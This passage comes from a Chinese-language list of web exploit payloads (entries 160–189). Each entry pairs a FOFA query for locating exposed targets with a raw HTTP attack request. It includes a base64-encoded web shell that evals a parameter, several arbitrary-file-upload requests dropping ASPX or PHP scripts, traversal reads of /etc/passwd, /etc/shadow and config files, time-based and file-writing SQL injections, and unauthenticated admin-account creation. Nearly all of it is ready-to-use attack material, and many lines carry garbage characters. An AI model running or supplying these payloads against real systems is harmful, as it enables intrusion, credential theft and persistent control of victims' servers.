! |! L$ t7 x$ d( b+ n7 @8 P# m5 E<vcode>1</vcode>
; x8 o6 w" W% L  ^<subFolder></subFolder>
" q0 b% H' _1 m: n* d$ z<fileName>abcrce.asmx</fileName>
/ R8 K- W9 ^( G/ R<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
, r* I7 ~/ h4 v3 K: v" S</jobUpload>
* f' [/ W( |* s9 w$ y# p0 \$ D9 u</soap:Body>
2 s0 K- K; V; X& q  g' B</soap:Envelope>


3 E, z# }! C2 ~: e+ F' k0 t/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
7 Z4 f" ]3 v! j' G9 C; ]# o  ~
0 }) w5 j8 C" q" t/ G
; u: W9 a9 B$ b2 B4 C160. Sonatype Nexus Repository 3目录遍历与文件读取
. E) |2 A3 a- v, ]6 x' L$ I5 r% ICVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
* u' m0 j2 n6 YHost: x.x.x.x
1 M5 K$ g& P* }1 q8 B4 CUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
- j' Z' Y1 X' H# a% ~. EConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
/ {5 l% j  n" L, K; R
$ X5 Y4 |4 Z! y. N' E
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
& i0 ?" p" }! ]# n% ~" h& ^Connection: close
, a  M$ R3 ^' }6 [8 |+ bContent-Length: 445
" _( |  @  c" k) k: N# j9 s* jContent-Type: text/xml
Accept-Encoding: gzip
. L9 Q! L3 E! e8 |
<?xml version="1.0" encoding="utf-8"?>
- l- R5 R7 [7 P: e3 N* ^2 M! x<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
* P# c5 R& o5 d9 x<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
1 g' g5 R  D( X<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
- b  u3 w/ `; c) n0 P<tag>3</tag>
  U9 v& B- D* c- ~2 e# s' s</UploadResume>
5 T+ n$ \$ ~; ^% M( v# }</soap:Body>
</soap:Envelope>
! B5 |# R" ~$ Q2 ^6 J
$ g( k$ N$ G0 J) `# L5 i. r
1 Z6 ^1 w% I3 o/ X$ vhttp://x.x.x.x/dizxdell.aspx

& q; _3 s3 @- M0 e' D162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
1 b, p$ N' n' E9 D  r8 @6 }FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
8 ]$ S5 {$ s/ z" k# r; F7 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
9 y5 ?2 x; v4 xConnection: close
& K/ A. E+ h: T3 {, p6 zContent-Length: 583
$ s# D6 f( c$ hContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
8 E* Y+ r/ u8 L! E/ u' tAccept-Encoding: gzip

. Z0 k& a4 G6 S" o7 H% r7 |( ^------WebKitFormBoundaryeegvclmyurlotuey
4 o/ x* f3 J& o$ _  L1 SContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
) C2 l4 |4 y5 N  C& tContent-Type: application/octet-stream

) F8 T5 P. [0 v- x( t+ L<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
* X4 G$ S2 m3 t7 P
upload
------WebKitFormBoundaryeegvclmyurlotuey
4 {. G- Y! }% h  OContent-Disposition: form-data; name="responderId"
4 E1 x8 x9 B  b% L
: I8 O1 Z# b# `9 RResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

( q5 w( p6 ?" t/opt/resources
- D$ Q7 K, R9 ]0 o7 ^9 y------WebKitFormBoundaryeegvclmyurlotuey--

/ B" ^# Z% l6 P+ [* @6 I4 O
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

) a6 y' E6 Y. L1 o163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
: h0 R# l" @, o7 T1 ^3 n4 qPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
) Y! H' Z* B8 [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
! S: m/ M, E, |  v5 d9 Y% V* CConnection: close
Content-Length: 293
& `) C+ _; _& H8 I2 dAccept: */*
, }3 L& G9 w/ v. uAccept-Encoding: gzip, deflate
, p, D4 x6 `* P. eAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
# w& H0 ?9 t) ^
1 m( z  k( e8 _0 G/ ?5 t. D3 b% E------iiqvnofupvhdyrcoqyuujyetjvqgocod
- c3 W( b" u+ F& z& m7 ^- d& v2 ?Content-Disposition: form-data; name="name"
/ b7 o6 Q8 y: I! h6 D/ G% t
1.php
/ d8 E4 I6 u/ P- ?0 R+ ^( s------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
% R- g6 L* X7 m: h  i
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
0 `- H$ M/ B# J6 ?7 N
  s. H+ d$ X( i$ D8 y# w8 [& y
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
: W( y6 V+ D" \- z1 _. SHost: x.x.x.x
, G" t; m9 g3 r/ C& [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
, q% g- n; q. a+ R4 lAccept: application/json, text/javascript, */*; q=0.01
4 E  [" ^* b5 D% h/ HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
( Z+ E" @6 q- a$ @Accept-Encoding: gzip

+ q  t0 @( `8 I. b# c% p% {------dqdaieopnozbkapjacdbdthlvtlyl
5 W9 B! @, c4 u# UContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
+ |5 v' j/ j! j6 `, P# A" O' x
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
. X' O* ~( S8 E7 l0 w, t$ z2 e$ g; U5 p
: [- l$ [1 u* y5 u( h  i
" H; O# |  Y* z5 _9 {7 f2 ?http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
2 L. f. L) p% t$ C1 a% N& T: s! K5 S
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
8 u/ R( f1 s  A+ A0 LFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

- z4 o9 R( n! _7 ~, _/ u5 s' s) @& ~2 I
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
4 R4 {+ D$ v! M8 A' w$ i$ N8 Q" SUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
' z6 }# Q; E9 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
+ }  j. H& \  K' XConnection: close
Content-Type: application/x-www-form-urlencoded
/ a/ N& L! v! j; hContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


! [4 v& Q7 Q- Q' {# P! z+ x0 c167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
$ a' Q: m' a8 a2 iHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
  r/ k0 \6 ~' w& z
4 s5 K! {% Q' T* J/ o, h
3 n" k+ y, I6 u1 `% }168. 宏景EHR OutputCode 任意文件读取
* D6 M: I1 w/ e1 R) d# X9 HFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
& H% }. F+ r* W0 g) q! R* BHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
" B$ H$ e* B0 L
8 B2 G9 M* H) u$ |& {* M5 X
3 k7 H, ~0 b7 S
5 R3 T! _/ G$ Z: K169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
! \0 s5 g9 Q1 b( ^GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
6 c; `; N! L% n( x. j" kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  a2 s1 I1 [  N2 ?/ D. PAccept: */*
6 Z" B4 P8 k1 @& ]% p6 bAccept-Encoding: gzip, deflate
* O  v) x& d1 N5 EConnection: close
+ W6 m# D4 t* j
+ }$ Z( n. S+ K6 c6 e4 |
% ?6 X' ~  s( |- U: Y0 ~( P6 J' Z: g
9 p! m  O- ^2 \170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
+ M8 C. a1 T( O/ F" K+ dPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! Y/ w6 k+ z' o( N! q4 E/ t, E" EContent-Type: application/x-www-form-urlencoded

4 C" h+ S* j, h" i) Rfilename=../webapps/ROOT/WEB-INF/web.xml


171. 通天星CMSV6车载定位监控平台 SQL注入
- X4 N: s# O. c( l. YFOFA：body="/808gps/"
& a, a+ R& m' V( [! i/ NGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
* ~! u: D. M, I+ qAccept: */*
  Y. g0 R2 |1 ?) f, d/ f7 rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) j2 \  |* W& X; _* b9 M5 c' _, }Connection: close

$ p2 R9 |: p# a# Y) b

172. DT-高清车牌识别摄像机任意文件读取
: X: F. K- ~9 s7 Q# L8 l' m3 ?FOFA：app="DT-高清车牌识别摄像机"
. ?0 K* I7 u3 ~$ F( zGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
' n) V# h: c. W$ x9 s6 D; YAccept: */*
Connection: keep-alive

- g& \! {' N- v' w4 N' ^
4 j& O; X9 t2 `( X! p
173. Check Point 安全网关任意文件读取
$ c& o& w  _. x# Q* T0 zCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
* F4 c. D3 A+ v  z. u2 VPOST /clients/MyCRL HTTP/1.1
( H+ F) {$ r. lHost: your-ip
Content-Type: application/x-www-form-urlencoded

/ ?4 s/ v! G- _# W7 QaCSHELL/../../../../../../../etc/shadow
' S! i$ D- J$ J0 Y$ K+ h
$ n5 P* Z0 x9 E# {
3 i2 H$ T7 N! e
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
9 u6 E1 h8 }/ ~1 l! Y7 |FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
9 u' K, J) e$ o2 Y9 [2 ^& e- hHost: your-ip
) E8 s$ E& @6 l* I6 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! U8 i6 V, V1 w5 t/ w3 qAccept-Encoding: gzip, deflate, br
6 N( }* M$ y% _. n+ T% I! GAccept-Language: zh-CN,zh;q=0.9
. }& x6 a7 v1 N" c8 C% Y( ]Connection: close

/ E7 [4 ~, Y9 Y, Z7 q3 ?

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
: @- G' @: ]3 [! F" VGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, n2 h6 V' L( m- SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
2 J' H# @% T: I( s) XConnection: close
Upgrade-Insecure-Requests: 1
& v2 T7 y% S: ^' p8 r

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
0 h1 |: j: l: v4 Q" RPOST /manager/teletext/material/rewrite.php HTTP/1.1
( j- L  K: Y+ c/ Y' l' fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

) _* T- p) `- C' z<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
0 T9 C6 [. r, R5 `Content-Disposition: form-data; name="uploadtime"

6 \. n" l* \3 b; p$ `( N3 C4 H/ A
------WebKitFormBoundaryOKldnDPT--

, Z, x6 j$ q& u& n; q$ Q
* E! }: g4 H# F) z! a
177. H3C路由器敏感信息泄露
" ]9 V9 P; W$ |8 Z% R/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/ Q  k  h* m' _# a: p/userLogin.asp/../actionpolicy_status/../M60.cfg
0 [' s# d) {  T% W: j- s' s/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
4 s' C: H* X4 p# q8 ?' Z+ L4 b/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
! e! F' ]: `9 h' z/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
: V/ Q2 V, u, n' z+ q/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
5 n4 c$ y2 J: a+ K- J! j$ t& w" W/userLogin.asp/../actionpolicy_status/../ER5100.cfg
+ }0 B5 Z; d; Y1 D/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
: n  C3 L; s# O5 i! I! _3 W/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
) k( y5 B  E) g6 B( l! W: v/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
3 L& X+ |: `5 V5 \' O, d' I, m/ D/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
9 B! n+ R( s1 r
. c4 D% E! }: u& w" c0 S$ R3 m
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
( r6 y7 u7 W! B/ O! e4 E5 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& |" o+ ?) h8 _+ H! P, RContent-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
! \  T+ }8 a" u. J* v# N3 TContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
" y2 W% U9 C9 K  U* Y7 U& XContent-Type: application/octet-stream
1 ?0 l; C9 K  b, M3 MContent-Length: 255

+ o# _# q: Y/ L5 ^8 M12234
-----------------aqutkea7vvanpqy3rh2l--

: k# F, |$ X" l% T7 C: ^
. Q) S. ?5 y3 m, nGET /imc/primepush/%2e%2e/flex/12234.txt

! c6 |- K. W2 g2 {8 ^' X3 A
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
9 }# Z& Y/ A5 x$ }! N9 K+ nContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
% r, G* i% o8 E3 H  o2 _" B0 T4 k
7 {- \4 h6 M+ Upath=../log4net.config&Name=


' ], ?8 k7 A: ?) l; }9 L180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
+ j- C' Y" x  j2 K8 aGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
2 n. F" L# G% Y/ @, c+ }" c; ]$ THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( s1 v% k* M0 ?$ yAccept-Language: zh-CN,zh;q=0.9
& H1 J! H( Q) B/ ]+ D1 w% [! t: w- tConnection: close
6 f" _4 k6 A& k. a. l

! ?& ]! B5 N1 k% S; W181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
" v+ p( Z: r4 Q+ \1 ]+ D3 xFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
/ {- S5 F9 P$ n0 T$ s. }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
8 V& v0 K* t" L/ M9 ?1 O: m+ EAccept-Language: zh-CN,zh;q=0.9
Connection: close
( l2 S' D' y, AContent-Type: application/x-www-form-urlencoded
: v/ l$ S: {# X4 m

4 u3 ?, l1 J" O0 @action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

7 p% m9 y, B! b
0 V6 _! c% D5 Q6 F; a. ?182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
6 m; ?7 w- X# T5 ^2 x- S7 M4 _& yFOFA："PDCA/js/_publicCom.js"
/ b( p5 x+ F' t+ M0 B8 ^. D  }( RPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
4 Q% d2 b* E% x+ b  aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
1 Q& {" }8 I% p7 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
# ^6 e  `: J5 Y+ gAccept-Language: zh-CN,zh;q=0.9
Connection: close
, o% S' _& f1 ^; B" u) gContent-Type: application/x-www-form-urlencoded
1 ?$ |$ F7 Y/ Z( _1 I( P
; {2 P, P0 a4 d8 @; g, M
username=test1234&pwd=test1234&savedays=1

5 H* w% i- _4 a1 f) b
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
% ?- _. _  w, p; _: D+ y7 ZFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
# y# Q# J$ I2 \GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
& G" Q- V0 U* J8 K, vUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
# ~) c5 B( h$ z5 R6 P$ R0 b7 z" yAccept-Charset: utf-8
8 Y) ]* G# G+ e$ y( R" vAccept-Encoding: gzip, deflate
  a% i4 o6 U( C1 a) M0 kConnection: close

6 p8 V4 |  g3 ~7 F, D9 f
9 o" Z' r" z! [1 O5 y$ B1 t- A184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
% I- q3 g$ [2 e/ jPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
9 C; V8 ?6 A& m; GAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
* o$ D+ X, N5 ~" x7 F( h. D8 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

& y+ n) n; z, J+ c; q- T6 h. _
7 ^7 A6 @" W% R4 S5 y1 y$ oinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
" z. A/ \) y% O& L- Z

* i6 A5 u- Q  _# a+ S185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
0 ~( D1 }& L- A5 R( nFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
/ Q1 r2 G  H) i1 jHost: host

' Y4 t2 O; t9 V
2 x: A# @8 d0 ]! S186. F-logic DataCube3 SQL注入
CVE-2024-31750
& H% J1 L' G( ZF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
% [: b7 [( O1 KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
7 X; x+ h2 g, u8 r8 R, i) _: }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- a( ^+ t9 }, w( e. u, l* rAccept-Encoding: gzip, deflate
  o9 O5 n% b- a  F; i1 r- @Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
: c$ R: W+ R* u6 v6 \7 mFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
! Y  }7 h" C: x2 v- ]Host: your-ip
' t0 ^+ Z' u7 ^* [Content-Type: application/x-www-form-urlencoded
$ q4 E; S4 K& t% q! k1 F' k
% v- s; M+ g3 R
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
0 e# R- Z" H# i4 N% b+ K

188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
2 X0 i9 F2 P+ s6 w6 H- f7 L# ~FOFA：body="/system/get_rtc_user_defined_info?site_id"
' _/ {6 H) Q' y3 y0 hGET /attachment?file=/etc/passwd HTTP/1.1
! Q% ?, Y9 S- Z- `Host: your-ip
; v- b4 @# s5 Q4 D* @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 @% M0 l( `5 I, q/ _3 c: }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ T: v/ V. [+ PAccept-Encoding: gzip, deflate
9 e& y8 ~# }& i% WAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
4 `2 x# a7 N* P6 J$ E. s

: M/ Y0 S: g+ W% c: j189. 蓝网科技临床浏览系统 deleteStudy SQL注入
( L6 J1 {  @8 Q" a4 s; ~* x) G- wFOFA：app="LANWON-临床浏览系统"
9 a# z% T  b0 _& N! U7 BGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
